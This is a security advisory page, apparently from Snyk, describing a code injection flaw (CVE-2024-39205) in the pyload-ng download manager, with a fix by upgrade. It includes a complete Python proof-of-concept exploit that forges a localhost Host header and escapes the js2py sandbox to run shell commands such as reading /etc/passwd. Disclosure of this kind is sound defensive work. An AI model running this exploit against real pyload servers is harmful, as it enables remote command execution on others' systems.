Improper Control of Generation of Code ('Code Injection') Affecting pyload-ng package, versions [,0.5.0b3.dev87)


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.05% (18th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Improper Control of Generation of Code ('Code Injection') vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-PYLOADNG-7925721
  • published10 Sept 2024
  • disclosed9 Sept 2024
  • creditUnknown

Introduced: 9 Sep 2024

CVE-2024-39205  (opens in a new tab)
CWE-94  (opens in a new tab)

How to fix?

Upgrade pyload-ng to version 0.5.0b3.dev87 or higher.

Overview

pyload-ng is a The free and open-source Download Manager written in pure Python

Affected versions of this package are vulnerable to Improper Control of Generation of Code ('Code Injection') through the /flash/addcrypted2 API endpoint that uses js2py, which is vulnerable to Code Injection. An attacker can execute arbitrary shell commands by sending a specially crafted request that bypasses the localhost-only restriction using a modified HTTP header.

Note:

Any payload-ng running under python3.11 or below is vulnerable.

pyload-ng doesn't use js2py for python3.12 or above.

PoC


import socket
import base64
from urllib.parse import quote

host, port = input("host: "), int(input("port: "))

payload = """
// [+] command goes here:
let cmd = "head -n 1 /etc/passwd; calc; gnome-calculator;"
let hacked, bymarve, n11
let getattr, obj

hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__

function findpopen(o) {
    let result;
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i]
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item
        }
        if(item.__name__ != "type" && (result = findpopen(item))) {
            return result
        }
    }
}

n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(n11)
function f() {
    return n11
}

"""

crypted_b64 = base64.b64encode(b"1234").decode()

data = f"package=pkg&crypted={quote(crypted_b64)}&jk={quote(payload)}"

request = f"""\
POST /flash/addcrypted2 HTTP/1.1
Host: 127.0.0.1:9666
Content-Type: application/x-www-form-urlencoded
Content-Length: {len(data)}

{data}
""".encode().replace(b"\n", b"\r\n")

def main():

    s = socket.socket()
    s.connect((host, port))

    s.send(request)
    response = s.recv(1024).decode()
    print(response)

if __name__ == "__main__":
    main()

References

CVSS Scores

version 4.0
version 3.1